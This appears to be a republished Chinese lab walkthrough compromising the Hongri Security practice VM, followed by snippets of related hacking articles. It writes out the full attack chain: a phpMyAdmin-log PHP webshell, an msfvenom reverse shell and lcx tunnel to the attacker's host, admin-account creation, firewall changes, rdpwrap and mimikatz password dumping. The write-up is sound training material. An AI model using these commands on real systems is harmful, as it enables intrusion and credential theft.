红日安全靶机实战(一)

2023-11-18

0x01 入侵web服务器
0x 1.1 信息收集

首先使用 nmap 来扫描ip 段存活的主机

nmap -sn 192.168.127.0/24 

在这里插入图片描述
这里网上有的用 netdiscover 来扫描,其实和 nmap -sn 扫描原理是一样的,都是通过arp 来实现扫描。
在这里插入图片描述

然后接着nmap 激进模式扫端口:

nmap -A -T4 192.168.127.154

在这里插入图片描述
发现80端口,浏览器访问,发现是phpStudy 搭建的环境,而且网站根路径是C:/php/WWW:
在这里插入图片描述

0x 1.2 写webshell并连接

phpstudy 默认自带的 phpmyadmin 可以用来管理数据库,默认密码是root/root 。测试一下,发现密码是默认密码,成功登录:
然后就是利用phpmyadmin 写 shell 了:

来到变量处,修改general log 和 general log file 的值:
在这里插入图片描述
然后执行 语句:

SELECT "<?php @eval($_POST[1]);?>"; 

在这里插入图片描述

然后蚁剑连接:(kali 需要自己手动从github上面安装蚁剑,遇到一个问题就是加载器安装源码的时候 会报 not found,是因为蚁剑源码被删了。解决方法是把 自己 windows 中蚁剑的源码 拷贝到 kali 中 ,然后再用加载器加载)
在这里插入图片描述
虚拟终端也好使,没有设置什么disable_function
在这里插入图片描述

0x02 入侵内网

从虚拟终端返回的信息可以看到是 windows 系统:
在这里插入图片描述
那么windows 系统,我们尝试看是否可以远程连接。【有一个最快的方法就是直接使用rdpwrap 工具中的 RDPWInst ,不仅可以开启rdp 服务,开启防火墙规则,还可以允许非服务器版本windows多用户登录。

查看3389 端口,发现并没有开启:

在这里插入图片描述
使用如下命令开启(适用于 win7,xp,2008 , 关闭则把0换成1):

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

在这里插入图片描述
添加用户:

net user test @!ke123 /add # 添加账户密码
net localgroup administrators test /add # 给test账户添加为管理员权限
net user test # 查询是否成功添加test用户

在这里插入图片描述
kali 安装远程桌面连接工具:

apt-get install rdesktop

但是直接连接失败。

zmap 扫3389端口:
在这里插入图片描述
发现3389 是 filtered 状态,估计是防火墙的原因。
在这里插入图片描述

在这里插入图片描述

果然,设置了允许被连接程序的白名单,而远程桌面不在白名单内。

0x 2.1 关闭防火墙,允许3389 连接

此时一般可以有如下思路:

1.反弹一个msf的shell回来,尝试打开指定的端口
2.使用命令行直接添加规则允许3389端口流量
3.尝试使用隧道连接3389

我们一个个来试一试:

0x 2.1.1 方法一:反弹msf 的shell ,打开指定的端口

这里就没有免杀,直接用msfvenom 生成一个 shell.exe 木马程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.130 LPORT=4444 -f exe > shell.exe

然后用蚁剑连接的webshell 上传:
在这里插入图片描述
msf 这边监听端口:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set Lhost  192.168.127.130
set lport  4444
run

然后 蚁剑虚拟终端中运行 shell.exe ,成功收到session:
在这里插入图片描述
然后允许rdp 连接:

run post/windows/manage/enable_rdp

我们再回到win7 下查看,发现rdp 已经被允许了:
在这里插入图片描述
然后使用 rdesktop 成功登录:

rdesktop 192.168.127.154:3389

在这里插入图片描述

0x 2.1.2 方法二:命令行直接添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
0x 2.1.3 方法三:使用隧道

(1) 使用 sunny-ngrok (ngrok 下载太慢了)
首先去 http://www.ngrok.cc/ 注册账号,然后里面购买一个免费的ngrok 服务器,然后创建一个隧道,绑定win7的3389端口,然后下载客户端到 win7 上,运行客户端,然后就可以在kali 中连接win7 的远程桌面了。
但是实际操作的时候win7 显示,客户端不是有效的win32 程序。所以这种方法失败,换个方法。
但是除了 exe ,还有其他版本可供我们下载:

下载php 版本,但是这台靶机上也出错,认证错误,但是我在另一台win7 sp1 上执行成功。
在这里插入图片描述

另外,这里出现一个小插曲:
一开始,不明白为什么 ngrok 可以绕过防火墙对3389端口流量的限制,如果是单纯的把3389映射端口到公网上,3389的流量仍然会被 防火墙阻止的。
所以重新开启了一个 win7 sp1 的虚拟机,上传客户端到win7 sp1 上,然后用wireshark 抓了抓包:
在这里插入图片描述
发现运行客户端后一直和 64.69.43.237 的 4443 端口通信,网上查了查 4443端口,发现是ngrok 服务端默认监听的端口。然后客户端这边使用的端口是49346,49347等大端口,看样子是随机的一个大端口。然后设置过滤器 tcp.port == 3389 ,发现没有这样的包! 所以推测,ngrok 客户端应该是本地进行了一个端口流量转发,把3389的流量转发到其他端口,然后用转发了的端口(没有被防火墙禁止)和服务端 4443 端口通信,所以就绕过了防火墙的限制。
后来看看了 php 版本和 python版本的源代码之后,发现其实是利用了socket 去主动连接服务端。然后本地也同时创建 socket 来连接本地的3389.

微软官方文档中 也提到 出站规则默认是允许全部流量:
在这里插入图片描述

(2) 使用lcx.exe 来 绕过防火墙
lcx.exe 是一个传输层隧道工具,有个-tran 参数可以实现本地端口转发,利用这个可以绕过防火墙,具体操作:
首先kali (攻击机)上

wine lcx.exe -listen 8000 4444 

然后利用蚁剑的虚拟终端执行:

 lcx.exe -tran 3333 127.0.0.1 3389
 lcx.exe -slave <攻击机ip> 8000 127.0.0.1 3333

但是也遇到一个问题,就是 lcx.exe 在 -tran 的时候会触发 防火墙警报(这是因为第一次运行 lcx.exe,其实后面分析就算防火墙关闭了lcx.exe 的流量,lcx.exe 同样生效)
在这里插入图片描述
这个时候可以先命令行新建一个防火墙规则(主要是为了不弹上面那个窗口),允许lcx.exe 的流量

netsh advfirewall firewall add rule name="lcx" dir=in action=allow program="C:\php\WWW\lcx.exe" enable=yes

另外发现,lcx.exe 的 -tran 参数好像并没有作用(可以不用-tran 参数也行)
抓包看了看,发现就算设置了 -tran 参数,和远程攻击机通信的端口也不是-tran 设置的端口,而是一个 随机的大端口,和 ngrok 差不多。
在这里插入图片描述
在和大端口通信:
在这里插入图片描述
关闭了防火墙里面允许 lcx.exe 和 远程桌面,依然可以使用lcx 来端口转发。(原因因为是这里的允许列表对应的入站规则,而lcx 采用的应该也是和ngrok 类似的socket 去主动连接远程端口的技术)
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
当然对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。

这个时候不慌,使用 rdpwrap

rdpwrap 是一款可以允许非服务器版本进行多个用户登录的patcher,从github上面下载下来,用蚁剑把 RDPWInst.exe 传上去,然后执行:

RDPWInst.exe -i -s

在这里插入图片描述
这样就可以不惊动已在线的管理员实现远程登录。

最后在渗透结束后,可以使用:

RDPWInst.exe -u -k 

来删除patch,注意需要添加-k 参数,意思是还原使用之前的设置

0x 2.2 拿到域管理员密码:

meterpreter 中操作,首先 getsystem 提权:
在这里插入图片描述
加载mimiktz 模块:
加载前,首先sysinfo 查看系统位数,发现是64位,而我们的meterpreter 是 32位
在这里插入图片描述

那么需要在加载mimiktz模块之前进程迁移(其实为了meterpreter session 稳定和隐蔽,最好连上session的时候就进程迁移到 explore.exe中

ps 查看系统进程
在这里插入图片描述
migrate 2724 ,进程迁移
在这里插入图片描述

现在 sysinfo ,meterpreter 变成64位
在这里插入图片描述
load mimikatz 加载mimikatz 模块,然后wdigest 查看明文密码,成功获取:
在这里插入图片描述

0x 2.3 内网漫游

开始内网漫游之前,还是用 msf 来操作吧,比较msf 是内网大杀器。毕竟蚁剑的虚拟终端有些命令不能正常返回结果:
比如 net view
在这里插入图片描述
估计是timeout 的原因

0x 2.3.1 内网信息收集

其实内网信息收集主要就是收集内网中是否有域,然后域中各个主机的主机名和ip域控的主机名和ip ,以及域内用户域管理员用户名

(下面的截图是直接在win 7 上演示的,没有直接在msf 中了,因为写这部分的时候 msf 在update ,然后之前又正好只保存了直接在win 7 上的截图

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

红日安全靶机实战(一) 的相关文章

  • Frp某场景下实现多层代理

    注 由于传播 利用本文章所提供的信息而造成的任何直接或者间接的后果及损失 均由使用者本人负责 本文作者不为此承担任何责任 一旦造成后果请自行承担 目录 frp简介 部分配置参数说明 实验场景 实验场景 实验环境 实验步骤 第一层隧道 第二层
  • XXE漏洞原理--简单理解

    XXE漏洞简介 1 XXE漏洞全称XML External Entity Injection 即xmI外部实体注入漏洞 XXE漏洞发生在应用程序解析XML输入时 没有禁止外部实体的加载 导致可加载恶意外部文件 造成文件读取 命令执行 内网端
  • ssh渗透与hydra爆破(简明不啰嗦)

    适合新手上路 MSF与hydra两种方式渗透22端口 后进行远程连接 如有不足请各位见谅 此次实验仅供参考 切勿做违法犯罪 出事一切与本人无关后果自负 希望大家早日成为白帽子 渗透机 kali 靶机 192 168 75 128 1 扫描局
  • Hashcat的使用手册总结

    简介 Hashcat是自称世界上最快的密码恢复工具 它在2015年之前拥有专有代码库 但现在作为免费软件发布 适用于Linux OS X和Windows的版本可以使用基于CPU或基于GPU的变体 支持hashcat的散列算法有Microso
  • 利用Vulnhub复现漏洞 - Discuz!X ≤3.4 任意文件删除漏洞

    Discuz X 3 4 任意文件删除漏洞 Vulnhub官方复现教程 漏洞原理 复现漏洞 启动环境 漏洞复现 Formhash Cookie 发送数据包 原文 Vulnhub官方复现教程 https vulhub org environm
  • 【内网提权】windows2003本地PR提权详解

    提权利用的漏洞 Microsoft Windows RPCSS服务隔离本地权限提升漏洞 RPCSS服务没有正确地隔离 NetworkService 或 LocalService 帐号下运行的进程 本地攻击者可以利用令牌劫持的方式获得权限提升
  • window横向渗透-IPC命令&schtasks 计划任务上线

    0x01 条件 1 我们获取到目标主机管理员账号密码 并且目标主机的 139 445端口是开启的 0x02 建立ipc协议拷贝cs木马 这时候 我们可以先建立ips 协议 net use ip ipc 密码 user 账号 例子 net u
  • app渗透-外在信息收集

    app渗透 外在信息收集 5 外在信息收集 5 1外在抓包 frida r0capture 5 1 1 frida的安装和使用 1 安装 2 使用测试 5 2 1 r0capture使用 5 外在信息收集 5 1外在抓包 frida r0c
  • 利用Vulnhub复现漏洞 - Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    Apache Log4j Server 反序列化命令执行漏洞 CVE 2017 5645 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 漏洞复现 payload 检测 Vulnhub官方复现教程 https vulhub org
  • win7下metasploit-framework安装及使用笔记

    1 去官网下载最新版本的metasploit framework 2 下载好后 退出电脑的杀毒软件 因为安装的时候里面好多文件会被当做病毒删除 3 点击安装 下一步下一步依次即可 4 安装完成后启动 这个启动的地方我找了好久 具体启动的地方
  • 记一次失败的regeorg+proxifiler代理实验--解决内网主机不出网问题

    记一次失败的regeorg proxifiler代理实验 解决内网主机不出网问题 一 简述 二 环境 三 流程 3 1 种webshell 3 2 启动regeorg 3 3 配置proxifiler 3 3 1 配置代理服务器 3 3 2
  • powershell cs-UTF-16LE编码上线

    0x01前言 当我们要上线主机的时候 可能会因为你的代码含有木马字符串 导致无法上线 0x02问题 1 例子 powershell exe exec bypass encodedCommand ZQBjAGgAbwAgACIAMQAyADM
  • 内网隧道搭建ksa工具-端对端-无需公网VPS做流量转发

    1 前言 看雪安全接入 KSA 一款傻瓜式的一键接入私有网络的工具 无论您在任何地点 任何时间 使用任何线路 均可利用这一服务接入自己的私有设备 KSA的服务端和客户端集成在一个可执行文件之中 目前支持Windows macOS和Linux
  • 第5章域内横向移动分析及防御

    域内横向移动投不定在夏杂的内网攻击中被广泛使用的一种技术 尤其是在高级持续威胁 Advanced Persistent Threats APT中 攻击者会利用该技术 以被攻陷的系统为跳板 访问其他域内主机 扩大资产范围 包括跳板机器中的文档
  • MSF使用教程

    MSF使用教程 1 简介 Metasploit是一款开源安全漏洞检测工具 附带数百个已知的软件漏洞 并保持频繁更新 被安全社区冠以 可以黑掉整个宇宙 之名的强大渗透测试框架 2 MSF模块介绍 1 辅助模块 auxiliary 负责执行信息
  • 利用Vulnhub复现漏洞 - Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

    Joomla 3 4 5 反序列化漏洞 CVE 2015 8562 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 漏洞复现 成功情况 并未成功 POC Vulnhub官方复现教程 https vulhub org environ
  • 无痕渗透“INSERT INTO”型SQL注入

    原文链接 http www mathyvanhoef com 2011 10 exploiting insert into sql injections html 在某个寂静的深夜 你徘徊在一个网站中 其中包含一个可提交form 需要你输入
  • sqli-less-26-less26a

    less 26 单引号 GET型 这关就有点过滤的意思了 过滤了上一关的东西 并且把空格和 23给过滤了 如果是ubuntu的话 可以用 0a等绕过 方便一些 但我的是windows 所以就只能用 了 让后使用 来代替and 用 1来闭合
  • RDP远程桌面密码凭证获取

    前言 在渗透过程中获取到一台Windows服务器后 可以尝试获取当前机器保存的RDP远程桌面密码凭证 进而在内网横向渗透中进一步扩大战果 0x01 密码凭证获取 查看当前主机本地连接过的目标机器记录 reg query HKEY CURRE
  • 手把手教你用Python轻松玩转SQL注入——渗透利器

    前言 大家好 我是黄伟 相信大家经常有听到过SQL注入啥的 但是并不是特别了解 小编以前就是经常听别人说 但是自己啥都不懂 直到后来看了相关教材后才明白 原来是这么个东西 那么到底是什么东西了 又或者是不是个东西了 我们接着往下看 一 浅谈

随机推荐

  • [转载]稳健语音特征和音频场景识别方法研究

    音频应用相关 http max book118 com html 2014 0508 8133338 shtm
  • 斯坦福大学自然语言处理第三课“最小编辑距离(Minimum Edit Distance)”

    一 课程介绍 斯坦福大学于2012年3月在Coursera启动了在线自然语言处理课程 由NLP领域大牛Dan Jurafsky 和 Chirs Manning教授授课 https class coursera org nlp 以下是本课程的
  • vim:批量化注释及删除注释

    1 批量化注释 首先按Esc进入到命令模式 注意左下角变为NORMAL 按住 Ctrl v 进入到视图模式 注意左下角变为 V BLOCK 再通过 h 左 j 下 k 上 l 右 选中区域 ps 按住 shift g 即可选中当前行及其下所
  • 随笔之---maven的知识

    1 maven metadata xml 这个文件是干嘛的 2 setting 中 是啥 表示所有依赖仓库的获取 走 这里 例如 任何仓库的请求 都被转到 下面的地址 如果 不是 是central则关于 中央仓库的请求会转到 下面的地址
  • 【服务器磁盘挂载步骤】

    提示 文章写完后 目录可以自动生成 如何生成可参考右边的帮助文档 服务器磁盘挂载步骤 一 步骤 一 步骤 做了三块盘 2个raid0 一个raid5 具体步骤如下 1 查看下磁盘信息的两种方法 lsblk fdisk l 2 磁盘分区 su
  • 【Qt】QSlider样式定制

    一 背景 QSlider空间是Qt官方的控制控件 在项目开发中 很多地方都会使用到这个控件作为滑动块 我们可以使用样式表来定制QSlider的显示样式 从而满足多种开发需求 一个QSlider包括以下三个部分 1 滑动过的槽 2 滑块 3
  • 阶段性目标规划

    1 2022 2023的目标 1 1 考证 1 软考 嵌入式系统工程师中级 2 架构师设计 1 2 研究产出 时间节点 2021 11 论文的修改与实验 操作系统 2021 12 Emd 与TQWT 算法的 选题与研究 与实验论文撰写 1
  • 安装git,解决"git 不是内部或外部命令,也不是可运行的程序"问题

    若是为解决 git 不是内部或外部命令 也不是可运行的程序 问题 在文末 点击此处 可快速到达 官网链接 https git scm com download win Tips 官网下载的速度忒慢 我是右键复制了链接地址 然后好在迅雷上下载
  • md5加密小工具制作(js版)

    废话不多说 上图上代码 注 该demo样式采用bootstrap框架的css样式做的 页面布局代码
  • linux程序下C语言代写,代写C语言 代做C程序 C++ assembler(QQ:2365427650&http://www.daixiec.com/)...

    The aim of this assignment is to write a two pass assembler for an extended SIMPLE instruction set Then write and test p
  • Unity协程和线程的区别

    先简要说下结论 协同程序 coroutine 与多线程情况下的线程比较类似 有自己的堆栈 自己的局部变量 有自己的指令指针 IP instruction pointer 但与其它协同程序共享全局变量等很多信息 协程 协同程序 同一时间只能执
  • YOLOv3使用笔记——Kmeans聚类计算anchor boxes

    anchor boxes用来预测bounding box faster rcnn中用128 128 256 256 512 512 分三个尺度变换1 1 1 2 2 1 共计9个anchor来预测框 每个anchor预测2000个框左右 使
  • 磁盘性能测试工具DiskSpd

    一 DiskSpd工具介绍 https github com microsoft diskspd releases 工具下载 https github com Microsoft diskspd 源码 https github com Mi
  • 保存原始rgb8bit 数据到bmp文件

    就填充方式来说 跟24位位图基本是一样的 不同的是bitcolor 位设置的颜色位数要填充为8 而不是24 百度了很久 目前只能是勉强能保存成图片 能正常打开 但目前还有未能理解的问题 列举如下 如果有知道的朋友 希望能得到您的慷慨解惑 感
  • 高版本Andriod Studio集成HMS环境看这篇就够了(附加步骤多图、资源下载、源代码、问题总结)

    Aandriod Studio集成HMS环境 0 前言 1 开发环境介绍 a Java版本 b Android Studio版本 c Gradle SDK版本 2 注册认证华为开发者联盟 个人开发者 a 进入网址 点击右上角管理中心 b 注
  • 软件测试—第六章白盒测试基本路径测试法

    一 基本路径法 1 为什么使用基本路径法 一是降低了测试用例设计的难度 只要搞清了各种流程 就可以设计出高质量的测试用例来 而不用太多测试方面的经验 二是在测试时间较紧的情况下 可以有的放矢的选择测试用例 而不用完全根据经验来取舍 2 什么
  • 如何设置当我们点击鼠标右键时,可以有新建Typora的选项

    最近研究了一下注册表 感觉这个东西还是挺有意思的 今天周末放假 打算写一点日记 当然是不发表的那种 然后我果断打开了Typora 不过由于好久没用Typora了 我忘记把他放在哪里了 找了一段时间终于找到了 我突然想到 为什么不把Typor
  • 目标检测算法之YOLOV3

    本博客中YOLO系列均为个人理解笔记 欢迎评论指出理解有误或者要讨论的地方 YOLOV3模型相比于v2来说 实质性的改进并不大 更多的是一些技术的堆叠 其并不像yolov2对于v1一样 由巨大的改变和提升 其相对于yolov2 改变在于 1
  • Java并发(多线程和锁机制)

    part 01 Java线程 1 进程和线程的区别 进程是操作系统进行资源分配的最小单位 线程是操作系统进行任务分配的最小单位 一个进程可以有多个线程 2 Java开启线程的方式 继承Tread类 重写run方法 实现Runnable接口
  • 红日安全靶机实战(一)

    0x01 入侵web服务器 0x 1 1 信息收集 首先使用 nmap 来扫描ip 段存活的主机 nmap sn 192 168 127 0 24 这里网上有的用 netdiscover 来扫描 其实和 nmap sn 扫描原理是一样的 都